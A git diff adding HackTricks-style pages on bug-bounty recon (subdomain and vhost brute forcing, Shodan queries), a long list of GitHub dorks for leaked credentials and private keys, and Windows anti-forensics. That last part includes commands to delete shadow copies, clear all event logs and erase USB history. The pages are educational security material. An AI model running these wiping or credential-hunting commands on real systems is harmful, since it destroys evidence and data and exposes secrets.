+You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
+
+**Note that you can use this technique to discover more domain names every time you find a new domain.**
+
+### Trackers
+
+If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.  
+For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages.
+
+There are some pages that let you search by these trackers and more:
+
+* [**BuiltWith**](https://builtwith.com/)
+* [**Sitesleuth**](https://www.sitesleuth.io/)
+* [**Publicwww**](https://publicwww.com/)
+* [**SpyOnWeb**](http://spyonweb.com/)
+
+### **Favicon**
+
+Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it:
+
+```bash
+cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
+python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
+```
+
+![favihash - discover domains with the same favicon icon hash](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
+
+Simply said, favihash will allow us to discover domains that have the same favicon icon hash as our target.
+
+### Other ways
+
+**Note that you can use this technique to discover more domain names every time you find a new domain.**
+
+#### Shodan
+
+As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate.
+
+You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"`
+
+#### Google
+
+Go to the main page an find something that identifies the company, like the copyright \("Tesla © 2020"\). Search for that in google or other browsers to find possible new domains/pages.
+
+#### Assetfinder
+
+[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing.
+
+### Looking for vulnerabilities
+
+Check for some [domain takeover](../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it \(if cheap enough\) and let know the company.
+
+If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** \(using Nessus or OpenVAS\) and some [**port scan**](../pentesting/pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.  
+_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
+
+## Subdomains
+
+> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies.
+
+It's time to find all the possible subdomains of each found domain.
+
+### DNS
+
+Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** \(If vulnerable, you should report it\).
+
+```bash
+dnsrecon -a -d tesla.com
+```
+
+### OSINT
+
+The fastest way to obtain a lot of subdomains is search in external sources. I'm not going to discuss which sources are the bests and how to use them, but you can find here several utilities: [https://pentester.land/cheatsheets/2018/11/14/subdomains-enumeration-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/14/subdomains-enumeration-cheatsheet.html)
+
+A really good place to search for subdomains is [https://crt.sh/](https://crt.sh/).
+
+The most used tools are [**Amass**](https://github.com/OWASP/Amass)**,** [**subfinder**](https://github.com/projectdiscovery/subfinder)**,** [**findomain**](https://github.com/Edu4rdSHL/findomain/)**,** [**OneForAll**](https://github.com/shmilylty/OneForAll/blob/master/README.en.md)**,** [**assetfinder**](https://github.com/tomnomnom/assetfinder)**,** [**Sudomy**](https://github.com/Screetsec/Sudomy)**,** [**Crobat**](https://github.com/cgboal/sonarsearch)**.** I would recommend to start using them configuring the API keys, and then start testing other tools or possibilities.
+
+```bash
+amass enum [-active] [-ip] -d tesla.com
+./subfinder-linux-amd64 -d tesla.com [-silent]
+./findomain-linux -t tesla.com [--quiet]
+python3 oneforall.py --target tesla.com [--dns False] [--req False] run
+assetfinder --subs-only <domain>
+curl https://sonar.omnisint.io/subdomains/tesla.com
+```
+
+Another possibly interesting tool is [**gau**](https://github.com/lc/gau)**.** It fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl for any given domain.
+
+#### [chaos.projectdiscovery.io](https://chaos.projectdiscovery.io/#/)
+
+This project offers for **free all the subdomains related to bug-bounty programs**. You can access this data also using [chaospy](https://github.com/dr-0x0x/chaospy) or even access the scope used by this project [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
+
+You could also find subdomains scrapping the web pages and parsing them \(including JS files\) searching for subdomains using [SubDomainizer](https://github.com/nsonaniya2010/SubDomainizer) or [subscraper](https://github.com/Cillian-Collins/subscraper).
+
+#### RapidDNS
+
+Quickly find subdomains using [RapidDNS](https://rapiddns.io/) API \(from [link](https://twitter.com/Verry__D/status/1282293265597779968)\):
+
+```text
+rapiddns(){
+curl -s "https://rapiddns.io/subdomain/$1?full=1" \
+ | grep -oP '_blank">\K[^<]*' \
+ | grep -v http \
+ | sort -u
+}
+```
+
+#### Shodan
+
+You found **dev-int.bigcompanycdn.com**, make a Shodan query like the following:
+
+* http.html:”dev-int.bigcompanycdn.com”
+* http.html:”[https://dev-int-bigcompanycdn.com”](https://dev-int-bigcompanycdn.com”)
+
+### DNS Brute force
+
+Let's try to find new **subdomains** brute-forcing DNS servers using possible subdomain names.  
+The most recommended tools for this are [**massdns**](https://github.com/blechschmidt/massdns)**,** [**gobuster**](https://github.com/OJ/gobuster)**,** [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) **and** [**shuffledns**](https://github.com/projectdiscovery/shuffledns). The first one is faster but more prone to errors \(you should always check for **false positives**\) and the second one **is more reliable** \(always use gobuster\).
+
+For this action you will need some common subdomains lists like:
+
+* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
+* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
+
+{% code title="Gobuster bruteforcing dns" %}
+```bash
+gobuster dns -d mysite.com -t 50 -w subdomains.txt
+```
+{% endcode %}
+
+For **massdns** you will need to pass as argument the file will all the **possible well formed subdomains** you want to bruteforce and list of DNS resolvers to use. Some projects that use massdns as base and provides better results by checking massdns results are [**shuffledns**](https://github.com/projectdiscovery/shuffledns) **and** [**puredns**](https://github.com/d3mondev/puredns)**.**
+
+```bash
+sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
+./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
+grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
+
+shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
+puredns bruteforce all.txt domain.com
+```
+
+Note how these tools require a **list of IPs of public DNSs**. If these public DNSs are malfunctioning \(DNS poisoning for example\) you will get bad results. In order to generate a list of trusted DNS resolvers you can download the resolvers from [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) and use [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) to filter them.
+
+### VHosts / Virtual Hosts
+
+#### IP VHosts
+
+You can find some VHosts in IPs using [HostHunter](https://github.com/SpiderLabs/HostHunter)
+
+#### Brute Force
+
+If you suspect that some subdomain can be hidden in a web server you could try to brute force it:
+
+```bash
+gobuster vhost -u https://mysite.com -t 50 -w subdomains.txt
+
+wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt --hc 400,404,403 -H "Host: FUZZ.example.com" -u http://example.com -t 100
+
+#From https://github.com/allyshka/vhostbrute
+vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com" --vhosts="vhosts_full.list"
+
+#https://github.com/codingo/VHostScan
+VHostScan -t example.com
+```
+
+{% hint style="info" %}
+With this technique you may even be able to access internal/hidden endpoints.
+{% endhint %}
+
+### CORS Brute Force
+
+Sometimes you will find pages that only return the header _**Access-Control-Allow-Origin**_ when a valid domain/subdomain is set in the _**Origin**_ header. In these scenarios, you can abuse this behavior to **discover** new **subdomains**.
+
+```bash
+ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
+```
+
+### DNS Brute Force v2
+
+Once you have finished looking for subdomains you can use [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**,** [**altdns**](https://github.com/infosec-au/altdns) and [**gotator**](https://github.com/Josue87/gotator) to generate possible permutations of the discovered subdomains and use again **massdns** and **gobuster** to search new domains.
+
+### Buckets Brute Force
+
+While looking for **subdomains** keep an eye to see if it is **pointing** to any type of **bucket**, and in that case [**check the permissions**](../pentesting/pentesting-web/buckets/)**.**  
+Also, as at this point you will know all the domains inside the scope, try to [**brute force possible bucket names and check the permissions**](../pentesting/pentesting-web/buckets/).
+
+### Monitorization
+
+You can **monitor** if **new subdomains** of a domain are created by monitoring the **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)does.
+
+### Looking for vulnerabilities
+
+Check for possible [**subdomain takeovers**](../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).  
+If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](../pentesting/pentesting-web/buckets/).
+
+If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** \(using Nessus or OpenVAS\) and some [**port scan**](../pentesting/pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.  
+_Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
+
+## Web servers hunting
+
+> We have found all the companies and their assets and we know IP ranges, domains and subdomains inside the scope. It's time to search for web servers.
+
+In the previous steps probably you have already perform some **recon to the IPs and domains discovered**, so you may **already found all the possible web servers**. However, if you haven't we are now going to see some **fast tricks to search for web servers** inside the scope.
+
+Please, note that this will be **oriented to search for web apps**, you should **perform the vulnerability** and **port scanning** also \(**if allowed** by the scope\).
+
+A **fast method** to discover **ports open** related to **web** servers using [**masscan** can be found here](../pentesting/pentesting-network/#http-port-discovery).  
+Another friendly tool to look for web servers is [**httprobe**](https://github.com/tomnomnom/httprobe) **and** [**fprobe**](https://github.com/theblackturtle/fprobe). You just pass a list of domains and it will try to connect to port 80 \(http\) and 443 \(https\). You can additional indicate to try other ports:
+
+```bash
+cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
+cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
+```
+
+### Screenshots
+
+Now that you have discovered **all the web servers** running in the scope \(in **IPs** of the company and all the **domains** and **subdomains**\) you probably **don't know where to start**. So, let's make it simple and start just taking screenshots of all of them. Just **taking a look** to the **main page** of all of them you could find **weird** endpoints more **prone** to be **vulnerable**.
+
+To perform the proposed idea you can use [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), ****[**shutter**](https://shutter-project.org/downloads/) ****or [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
+
+## Cloud Assets
+
+Just with some **specific keywords** identifying the company it's possible to enumerate possible cloud assets belonging to them with tools like [**cloud\_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper) **or** [**cloudlist**](https://github.com/projectdiscovery/cloudlist)**.**
+
+## Recapitulation 1
+
+> Congratulations! At this point you have already perform all the basic enumeration. Yes, it's basic because a lot more enumeration can be done \(will see more tricks later\).  
+> Do you know that the BBs experts recommends to spend only 10-15mins in this phase? But don't worry, one you have practice you will do this even faster than that.
+
+So you have already:
+
+1. Found all the **companies** inside the scope
+2. Found all the **assets** belonging to the companies \(and perform some vuln scan if in scope\)
+3. Found all the **domains** belonging to the companies
+4. Found all the **subdomains** of the domains \(any subdomain takeover?\)
+5. Found all the **web servers** and took a **screenshot** of them \(anything weird worth a deeper look?\)
+
+Then, it's time for the real Bug Bounty hunt! In this methodology I'm **not going to talk about how to scan hosts** \(you can see a [guide for that here](../pentesting/pentesting-network/)\), how to use tools like Nessus or OpenVas to perform a **vuln scan** or how to **look for vulnerabilities** in the services open \(this book already contains tons of information about possible vulnerabilities on a lot of common services\). **But, don't forget that if the scope allows it, you should give it a try.**
+
+## Github leaked secrets
+
+{% page-ref page="github-leaked-secrets.md" %}
+
+You can also search for leaked secrets in all open repository platforms using: [https://searchcode.com/?q=auth\_key](https://searchcode.com/?q=auth_key)
+
+## [**Pentesting Web Methodology**](../pentesting/pentesting-web/)
+
+Anyway, the **majority of the vulnerabilities** found by bug hunters resides inside **web applications**, so at this point I would like to talk about a **web application testing methodology**, and you can [**find this information here**](../pentesting/pentesting-web/).
+
+## Recapitulation 2
+
+> Congratulations! The testing has finished! I hope you have find some vulnerabilities.
+
+At this point you should have already read the Pentesting Web Methodology and applied it to the scope.  
+As you can see there is a lot of different vulnerabilities to search for.
+
+**If you have find any vulnerability thanks to this book, please reference the book in your write-up.**
+
+## **References**
+
+* **All free courses of** [**@Jhaddix**](https://twitter.com/Jhaddix) **\(like** [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)**\)**
+
diff --git a/external-recon-methodology/github-leaked-secrets.md b/external-recon-methodology/github-leaked-secrets.md
new file mode 100644
index 00000000000..98d7e3f3e5b
--- /dev/null
+++ b/external-recon-methodology/github-leaked-secrets.md
@@ -0,0 +1,300 @@
+# Github Leaked Secrets
+
+Now that we have built the list of assets of our scope it's time to search for some OSINT low-hanging fruits.
+
+### Api keys leaks in github
+
+* [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber)
+* [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit)
+* [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks)
+* [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)
+* [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets)
+* [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
+* [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks)
+* [https://github.com/dxa4481/truffleHog](https://github.com/dxa4481/truffleHog)
+* [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker)
+
+### **Dorks**
+
+```bash
+".mlab.com password"
+"access_key"
+"access_token"
+"amazonaws"
+"api.googlemaps AIza"
+"api_key"
+"api_secret"
+"apidocs"
+"apikey"
+"apiSecret"
+"app_key"
+"app_secret"
+"appkey"
+"appkeysecret"
+"application_key"
+"appsecret"
+"appspot"
+"auth"
+"auth_token"
+"authorizationToken"
+"aws_access"
+"aws_access_key_id"
+"aws_key"
+"aws_secret"
+"aws_token"
+"AWSSecretKey"
+"bashrc password"
+"bucket_password"
+"client_secret"
+"cloudfront"
+"codecov_token"
+"config"
+"conn.login"
+"connectionstring"
+"consumer_key"
+"credentials"
+"database_password"
+"db_password"
+"db_username"
+"dbpasswd"
+"dbpassword"
+"dbuser"
+"dot-files"
+"dotfiles"
+"encryption_key"
+"fabricApiSecret"
+"fb_secret"
+"firebase"
+"ftp"
+"gh_token"
+"github_key"
+"github_token"
+"gitlab"
+"gmail_password"
+"gmail_username"
+"herokuapp"
+"internal"
+"irc_pass"
+"JEKYLL_GITHUB_TOKEN"
+"key"
+"keyPassword"
+"ldap_password"
+"ldap_username"
+"login"
+"mailchimp"
+"mailgun"
+"master_key"
+"mydotfiles"
+"mysql"
+"node_env"
+"npmrc _auth"
+"oauth_token"
+"pass"
+"passwd"
+"password"
+"passwords"
+"pem private"
+"preprod"
+"private_key"
+"prod"
+"pwd"
+"pwds"
+"rds.amazonaws.com password"
+"redis_password"
+"root_password"
+"secret"
+"secret.password"
+"secret_access_key"
+"secret_key"
+"secret_token"
+"secrets"
+"secure"
+"security_credentials"
+"send.keys"
+"send_keys"
+"sendkeys"
+"SF_USERNAME salesforce"
+"sf_username"
+"site.com" FIREBASE_API_JSON=
+"site.com" vim_settings.xml
+"slack_api"
+"slack_token"
+"sql_password"
+"ssh"
+"ssh2_auth_password"
+"sshpass"
+"staging"
+"stg"
+"storePassword"
+"stripe"
+"swagger"
+"testuser"
+"token"
+"x-api-key"
+"xoxb "
+"xoxp"
+[WFClient] Password= extension:ica
+access_key
+bucket_password
+dbpassword
+dbuser
+extension:avastlic "support.avast.com"
+extension:bat
+extension:cfg
+extension:env
+extension:exs
+extension:ini
+extension:json api.forecast.io
+extension:json googleusercontent client_secret
+extension:json mongolab.com
+extension:pem
+extension:pem private
+extension:ppk
+extension:ppk private
+extension:properties
+extension:sh
+extension:sls
+extension:sql
+extension:sql mysql dump
+extension:sql mysql dump password
+extension:yaml mongolab.com
+extension:zsh
+filename:.bash_history
+filename:.bash_history DOMAIN-NAME
+filename:.bash_profile aws
+filename:.bashrc mailchimp
+filename:.bashrc password
+filename:.cshrc
+filename:.dockercfg auth
+filename:.env DB_USERNAME NOT homestead
+filename:.env MAIL_HOST=smtp.gmail.com
+filename:.esmtprc password
+filename:.ftpconfig
+filename:.git-credentials
+filename:.history
+filename:.htpasswd
+filename:.netrc password
+filename:.npmrc _auth
+filename:.pgpass
+filename:.remote-sync.json
+filename:.s3cfg
+filename:.sh_history
+filename:.tugboat NOT _tugboat
+filename:_netrc password
+filename:apikey
+filename:bash
+filename:bash_history
+filename:bash_profile
+filename:bashrc
+filename:beanstalkd.yml
+filename:CCCam.cfg
+filename:composer.json
+filename:config
+filename:config irc_pass
+filename:config.json auths
+filename:config.php dbpasswd
+filename:configuration.php JConfig password
+filename:connections
+filename:connections.xml
+filename:constants
+filename:credentials
+filename:credentials aws_access_key_id
+filename:cshrc
+filename:database
+filename:dbeaver-data-sources.xml
+filename:deployment-config.json
+filename:dhcpd.conf
+filename:dockercfg
+filename:environment
+filename:express.conf
+filename:express.conf path:.openshift
+filename:filezilla.xml
+filename:filezilla.xml Pass
+filename:git-credentials
+filename:gitconfig
+filename:global
+filename:history
+filename:htpasswd
+filename:hub oauth_token
+filename:id_dsa
+filename:id_rsa
+filename:id_rsa or filename:id_dsa
+filename:idea14.key
+filename:known_hosts
+filename:logins.json
+filename:makefile
+filename:master.key path:config
+filename:netrc
+filename:npmrc
+filename:pass
+filename:passwd path:etc
+filename:pgpass
+filename:prod.exs
+filename:prod.exs NOT prod.secret.exs
+filename:prod.secret.exs
+filename:proftpdpasswd
+filename:recentservers.xml
+filename:recentservers.xml Pass
+filename:robomongo.json
+filename:s3cfg
+filename:secrets.yml password
+filename:server.cfg
+filename:server.cfg rcon password
+filename:settings
+filename:settings.py SECRET_KEY
+filename:sftp-config.json
+filename:sftp-config.json password
+filename:sftp.json path:.vscode
+filename:shadow
+filename:shadow path:etc
+filename:spec
+filename:sshd_config
+filename:token
+filename:tugboat
+filename:ventrilo_srv.ini
+filename:WebServers.xml
+filename:wp-config
+filename:wp-config.php
+filename:zhrc
+HEROKU_API_KEY language:json
+HEROKU_API_KEY language:shell
+HOMEBREW_GITHUB_API_TOKEN language:shell
+jsforce extension:js conn.login
+language:yaml -filename:travis
+msg nickserv identify filename:config
+org:Target "AWS_ACCESS_KEY_ID"
+org:Target "list_aws_accounts"
+org:Target "aws_access_key"
+org:Target "aws_secret_key"
+org:Target "bucket_name"
+org:Target "S3_ACCESS_KEY_ID"
+org:Target "S3_BUCKET"
+org:Target "S3_ENDPOINT"
+org:Target "S3_SECRET_ACCESS_KEY"
+password
+path:sites databases password
+private -language:java
+PT_TOKEN language:bash
+redis_password
+root_password
+secret_access_key
+SECRET_KEY_BASE=
+shodan_api_key language:python
+WORDPRESS_DB_PASSWORD=
+xoxp OR xoxb OR xoxa
+s3.yml
+.exs
+beanstalkd.yml
+deploy.rake
+.sls
+AWS_SECRET_ACCESS_KEY
+API KEY
+API SECRET
+API TOKEN
+ROOT PASSWORD
+ADMIN PASSWORD
+GCP SECRET
+AWS SECRET
+"private" extension:pgp
+```
+
diff --git a/forensics/basic-forensic-methodology/README.md b/forensics/basic-forensic-methodology/README.md
new file mode 100644
index 00000000000..d1b2b61908a
--- /dev/null
+++ b/forensics/basic-forensic-methodology/README.md
@@ -0,0 +1,72 @@
+# Basic Forensic Methodology
+
+{% hint style="danger" %}
+Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?  
+[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!**
+{% endhint %}
+
+If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**  
+If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book.
+
+
+
+In this section of the book we are going to learn about some **useful forensics tricks**.  
+We are going to talk about partitions, file-systems, carving, memory, logs, backups, OSs, and much more.
+
+So if you are doing a professional forensic analysis to some data or just playing a CTF you can find here useful interesting tricks.
+
+## Creating and Mounting an Image
+
+{% page-ref page="image-adquisition-and-mount.md" %}
+
+## Malware Analysis
+
+This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**:
+
+{% page-ref page="malware-analysis.md" %}
+
+## Inspecting an Image
+
+if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** \(even deleted ones\). Learn how in:
+
+{% page-ref page="partitions-file-systems-carving/" %}
+
+Depending on the used OSs and even platform different interesting artifacts should be searched:
+
+{% page-ref page="windows-forensics/" %}
+
+{% page-ref page="linux-forensics.md" %}
+
+{% page-ref page="docker-forensics.md" %}
+
+## Deep inspection of specific file-types and Software
+
+If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.  
+Read the following page to learn some interesting tricks:
+
+{% page-ref page="specific-software-file-type-tricks/" %}
+
+I want to do a special mention to the page:
+
+{% page-ref page="specific-software-file-type-tricks/browser-artifacts.md" %}
+
+## Memory Dump Inspection
+
+{% page-ref page="memory-dump-analysis/" %}
+
+## Pcap Inspection
+
+{% page-ref page="pcap-inspection/" %}
+
+## **Anti-Forensic Techniques**
+
+Keep in mind the possible use of anti-forensic techniques:
+
+{% page-ref page="anti-forensic-techniques.md" %}
+
+## Threat Hunting
+
+{% page-ref page="file-integrity-monitoring.md" %}
+
+
+
diff --git a/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/forensics/basic-forensic-methodology/anti-forensic-techniques.md
new file mode 100644
index 00000000000..4303865fc65
--- /dev/null
+++ b/forensics/basic-forensic-methodology/anti-forensic-techniques.md
@@ -0,0 +1,155 @@
+# Anti-Forensic Techniques
+
+## Timestamps
+
+An attacker may be interested in **changing the timestamps of files** to avoid being detected.  
+It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` __and __`$FILE_NAME`.
+
+Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** \(MACE or MACB\).
+
+**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**.
+
+### TimeStomp - Anti-forensic Tool
+
+This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**.
+
+### Usnjrnl
+
+The **USN Journal** \(Update Sequence Number Journal\), or Change Journal, is a feature of the Windows NT file system \(NTFS\) which **maintains a record of changes made to the volume**.  
+It's possible to use the tool [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) to search for modifications of this record.
+
+![](../../.gitbook/assets/image%20%28453%29.png)
+
+The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file.
+
+### $LogFile
+
+All metadata changes to a file system are logged to ensure the consistent recovery of critical file system structures after a system crash. This is called [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging).  
+The logged metadata is stored in a file called “**$LogFile**”, which is found in a root directory of an NTFS file system.  
+It's possible to use tools like [LogFileParser](https://github.com/jschicht/LogFileParser) to parse this file and find changes.
+
+![](../../.gitbook/assets/image%20%28450%29.png)
+
+Again, in the output of the tool it's possible to see that **some changes were performed**.
+
+Using the same tool it's possible to identify to **which time the timestamps were modified**:
+
+![](../../.gitbook/assets/image%20%28451%29.png)
+
+* CTIME: File's creation time
+* ATIME: File's modification time
+* MTIME: File's MFT registry modifiction
+* RTIME: File's access time
+
+### `$STANDARD_INFORMATION` and `$FILE_NAME` comparison
+
+Another way to identify suspicions modified files would be to compare the time on both attributes looking for **mismatches**.
+
+### Nanoseconds
+
+**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**.
+
+### SetMace - Anti-forensic Tool
+
+This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME` . However, from Windows Vista it's necessary a live OS to modify this information.
+
+## Data Hiding
+
+NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the files is deleted. Then, it's possible to **hide data in this slack space**.
+
+There are tools like slacker that allows to hide data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added:
+
+![](../../.gitbook/assets/image%20%28454%29.png)
+
+Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this can of tools can save the content obfuscated or even encrypted.
+
+## UsbKill
+
+This is a tool that will **turn off the computer is any change in the USB** ports is detected.  
+A way to discover this would be to inspect the running processes and **review each python script running**.
+
+## Live Linux Distributions
+
+These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion.
+
+## Secure Deletion
+
+[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
+
+## Windows Configuration
+
+It's possible to disable several windows logging methods to make the forensics investigation much harder.
+
+### Disable Timestamps - UserAssist
+
+This is a registry key that maintains dates and hours when each executable was run by the user.
+
+Disabling UserAssist requires two steps:
+
+1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled.
+2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
+
+### Disable Timestamps - Prefetch
+
+This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices.
+
+* Rexecute `regedit`
+* Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
+* Right-click on both `EnablePrefetcher` and `EnableSuperfetch`
+* Select Modify on each of these to change the value from 1 \(or 3\) to 0
+* Restart
+
+### Disable Timestamps - Last Access Time
+
+Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance.
+
+1. Open the Registry Editor \(Regedit.exe\).
+2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
+3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process.
+4. Close the Registry Editor, and reboot the server.
+
+### Delete USB History
+
+All the **USB Device Entries** are stored in Windows Registry Under **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device in your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.  
+You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them \(and to delete them\).
+
+Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted.
+
+### Disable Shadow Copies
+
+**List** shadow copies with `vssadmin list shadowstorage`  
+**Delete** them running `vssadmin delete shadow`
+
+You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
+
+To disable shadow copies:
+
+1. Go to the Windows start button and type "services" into the text search box; open the Services program.
+2. Locate "Volume Shadow Copy" from the list, highlight it, and then and the right-click &gt; Properties.
+3. From the "Startup type" drop-down menu, select Disabled, and then click Apply and OK.
+
+![](../../.gitbook/assets/image%20%28452%29.png)
+
+It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
+
+### Overwrite deleted files
+
+* You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive.
+* You can also use tools like [**Eraser**](https://eraser.heidi.ie/)
+
+### Delete Windows event logs
+
+* Windows + R --&gt; eventvwr.msc --&gt; Expand "Windows Logs" --&gt; Right click each category and select "Clear Log"
+* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
